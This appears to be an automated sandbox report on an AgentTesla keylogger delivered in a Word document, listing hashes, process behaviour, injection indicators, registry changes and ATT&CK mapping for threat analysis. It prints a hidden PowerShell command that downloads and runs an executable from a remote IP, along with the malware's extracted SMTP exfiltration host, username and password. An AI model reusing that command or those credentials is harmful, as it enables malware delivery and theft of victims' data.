agenttesla | 5559a0af254ec91974ee7dbc6e48ded1b27e0b0bba31e8a5a7c3d935cbb3a134

General

Target

PL_056_06_713.doc
Size

387KB
MD5

7ea976fa35d432a5f1fbd95fedb6b491
SHA1

372fbcd853b6e3143abce13481b38a398a18d1c2
SHA256

5559a0af254ec91974ee7dbc6e48ded1b27e0b0bba31e8a5a7c3d935cbb3a134
SHA512

99665619c7b952edf1a443c237faf6ec33652710b6717128e5e80babc7c919faaf2305d8bdc3267311fa369329f03dd66cfb7561ea4875162e6c7ca2911d4910

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
sixjan.xyz
Port:
587
Username:
zenom@sixjan.xyz
Password:
7&JWw;63ncJ^

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/240-107-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla
behavioral1/memory/240-108-0x000000000043761E-mapping.dmp	family_agenttesla
behavioral1/memory/240-111-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 572 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

jobtogether.exejobtogether.exe

pid process

960 jobtogether.exe
240 jobtogether.exe
Loads dropped DLL 4 IoCs

Processes:

powershell.exejobtogether.exe

pid process

572 powershell.exe
572 powershell.exe
572 powershell.exe
960 jobtogether.exe

flow	pid	process
7	572	powershell.exe

pid	process
960	jobtogether.exe
240	jobtogether.exe

pid	process
572	powershell.exe
572	powershell.exe
572	powershell.exe
960	jobtogether.exe

Drops file in System32 directory 5 IoCs

Processes:

OUTLOOK.EXEpowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\PerfStringBackup.TMP	OUTLOOK.EXE
File opened for modification	C:\Windows\SysWOW64\PerfStringBackup.INI	OUTLOOK.EXE
File created	C:\Windows\system32\perfc009.dat	OUTLOOK.EXE
File created	C:\Windows\system32\perfh009.dat	OUTLOOK.EXE
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

jobtogether.exe

description pid process target process

PID 960 set thread context of 240 960 jobtogether.exe jobtogether.exe

description	pid	process	target process
PID 960 set thread context of 240	960	jobtogether.exe	jobtogether.exe

Drops file in Windows directory 4 IoCs

Processes:

OUTLOOK.EXEWINWORD.EXE

description	ioc	process
File opened for modification	C:\Windows\inf\Outlook\outlperf.h	OUTLOOK.EXE
File created	C:\Windows\inf\Outlook\0009\outlperf.ini	OUTLOOK.EXE
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE
File created	C:\Windows\inf\Outlook\outlperf.h	OUTLOOK.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

OUTLOOK.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006303E-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B1-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304C-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006302C-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630EB-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672DA-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672D9-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063007-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E0-0000-0000-C000-000000000046}\ = "_TextRuleCondition"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630DE-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300A-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B1-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672EB-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063007-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063005-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630CD-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630D9-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063047-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063083-0000-0000-C000-000000000046}\ = "_SyncObject"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672DA-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063021-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B1-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630FC-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E2-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630A7-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063085-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063076-0000-0000-C000-000000000046}\ = "FoldersEvents"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006302C-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630EC-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006305A-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672E2-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672EF-0000-0000-C000-000000000046}\ = "_OlkTimeControl"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063076-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063024-0000-0000-C000-000000000046}\ = "_PostItem"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672E4-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304E-0000-0000-C000-000000000046}\ = "ApplicationEvents"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630C5-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E2-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304D-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063072-0000-0000-C000-000000000046}\ = "_OutlookBarGroups"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B2-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672DE-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E8-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630CB-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300F-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630FD-0000-0000-C000-000000000046}\ = "_TimeZone"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630FA-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063046-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063095-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630CB-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630E2-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063089-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304F-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672DD-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063046-0000-0000-C000-000000000046}\ = "FormDescription"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630A2-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630EE-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063021-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006308A-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304E-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006307C-0000-0000-C000-000000000046}\ = "OutlookBarShortcutsEvents"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006309B-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006309D-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630C3-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1684 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exejobtogether.exejobtogether.exe

pid process

572 powershell.exe
960 jobtogether.exe
960 jobtogether.exe
240 jobtogether.exe
240 jobtogether.exe

pid	process
1684	WINWORD.EXE

pid	process
572	powershell.exe
960	jobtogether.exe
960	jobtogether.exe
240	jobtogether.exe
240	jobtogether.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeOUTLOOK.EXEjobtogether.exejobtogether.exe

description	pid	process
Token: SeDebugPrivilege	572	powershell.exe
Token: SeShutdownPrivilege	1764	OUTLOOK.EXE
Token: SeDebugPrivilege	960	jobtogether.exe
Token: SeDebugPrivilege	240	jobtogether.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

OUTLOOK.EXE

pid process

1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
Suspicious use of SendNotifyMessage 5 IoCs

Processes:

OUTLOOK.EXE

pid process

1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
1764 OUTLOOK.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WINWORD.EXEOUTLOOK.EXE

pid process

1684 WINWORD.EXE
1684 WINWORD.EXE
1764 OUTLOOK.EXE

pid	process
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE

pid	process
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE
1764	OUTLOOK.EXE

pid	process
1684	WINWORD.EXE
1684	WINWORD.EXE
1764	OUTLOOK.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

OUTLOOK.EXEpowershell.exeWINWORD.EXEjobtogether.exe

description	pid	process	target process
PID 1764 wrote to memory of 572	1764	OUTLOOK.EXE	powershell.exe
PID 1764 wrote to memory of 572	1764	OUTLOOK.EXE	powershell.exe
PID 1764 wrote to memory of 572	1764	OUTLOOK.EXE	powershell.exe
PID 1764 wrote to memory of 572	1764	OUTLOOK.EXE	powershell.exe
PID 572 wrote to memory of 960	572	powershell.exe	jobtogether.exe
PID 572 wrote to memory of 960	572	powershell.exe	jobtogether.exe
PID 572 wrote to memory of 960	572	powershell.exe	jobtogether.exe
PID 572 wrote to memory of 960	572	powershell.exe	jobtogether.exe
PID 572 wrote to memory of 960	572	powershell.exe	jobtogether.exe
PID 572 wrote to memory of 960	572	powershell.exe	jobtogether.exe
PID 572 wrote to memory of 960	572	powershell.exe	jobtogether.exe
PID 1684 wrote to memory of 1608	1684	WINWORD.EXE	splwow64.exe
PID 1684 wrote to memory of 1608	1684	WINWORD.EXE	splwow64.exe
PID 1684 wrote to memory of 1608	1684	WINWORD.EXE	splwow64.exe
PID 1684 wrote to memory of 1608	1684	WINWORD.EXE	splwow64.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe
PID 960 wrote to memory of 240	960	jobtogether.exe	jobtogether.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PL_056_06_713.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1684

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1608

C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE" -Embedding
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w Hidden Invoke-WebRequest -Uri "http://31.210.20.6/w2/Qquabsz.exe" -OutFile "C:\Users\Public\Documents\jobtogether.exe";C:\Users\Public\Documents\jobtogether.exe
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572

C:\Users\Public\Documents\jobtogether.exe
"C:\Users\Public\Documents\jobtogether.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:960

C:\Users\Admin\AppData\Local\Temp\jobtogether.exe
C:\Users\Admin\AppData\Local\Temp\jobtogether.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:240

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
C:\Users\Admin\AppData\Local\Temp\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
C:\Users\Public\Documents\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
C:\Users\Public\Documents\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
\Users\Admin\AppData\Local\Temp\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
\Users\Public\Documents\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
\Users\Public\Documents\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
\Users\Public\Documents\jobtogether.exe
MD5
e605817ed935ee0301f12f5e8c72d72a

SHA1
3733b3a33456e6aa9d604c04d1531848ccd0a77d

SHA256
ef84b2ff04124e92bb1f3cd7d7ea4f8c61d130b0171a66586fb72ce46a28057b

SHA512
5c80094058431e7282b3015624832bba46afb209b4df0a9369a84dc38d9b7b047d56f90ab3af1ad99259027574f8d348f80a3086f2740a5ddfa1e1899b09408a

Download Submit
memory/240-113-0x0000000002230000-0x0000000002231000-memory.dmp

Filesize
4KB

Download
memory/240-111-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/240-107-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/240-108-0x000000000043761E-mapping.dmp

Download
memory/572-68-0x0000000004960000-0x0000000004961000-memory.dmp

Filesize
4KB

Download
memory/572-72-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/572-88-0x0000000006460000-0x0000000006461000-memory.dmp

Filesize
4KB

Download
memory/572-89-0x0000000006490000-0x0000000006491000-memory.dmp

Filesize
4KB

Download
memory/572-90-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/572-80-0x0000000006200000-0x0000000006201000-memory.dmp

Filesize
4KB

Download
memory/572-75-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/572-81-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/572-70-0x0000000004920000-0x0000000004921000-memory.dmp

Filesize
4KB

Download
memory/572-71-0x0000000004922000-0x0000000004923000-memory.dmp

Filesize
4KB

Download
memory/572-69-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/572-67-0x0000000001D90000-0x0000000001D91000-memory.dmp

Filesize
4KB

Download
memory/572-66-0x0000000075011000-0x0000000075013000-memory.dmp

Filesize
8KB

Download
memory/572-65-0x0000000000000000-mapping.dmp

Download
memory/960-93-0x0000000000000000-mapping.dmp

Download
memory/960-102-0x00000000046F0000-0x000000000477A000-memory.dmp

Filesize
552KB

Download
memory/960-103-0x0000000000BE0000-0x0000000000C31000-memory.dmp

Filesize
324KB

Download
memory/960-99-0x00000000047A0000-0x00000000047A1000-memory.dmp

Filesize
4KB

Download
memory/960-97-0x0000000000F00000-0x0000000000F01000-memory.dmp

Filesize
4KB

Download
memory/1608-101-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp

Filesize
8KB

Download
memory/1608-100-0x0000000000000000-mapping.dmp

Download
memory/1684-60-0x0000000072661000-0x0000000072664000-memory.dmp

Filesize
12KB

Download
memory/1684-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1684-61-0x00000000700E1000-0x00000000700E3000-memory.dmp

Filesize
8KB

Download
memory/1684-114-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads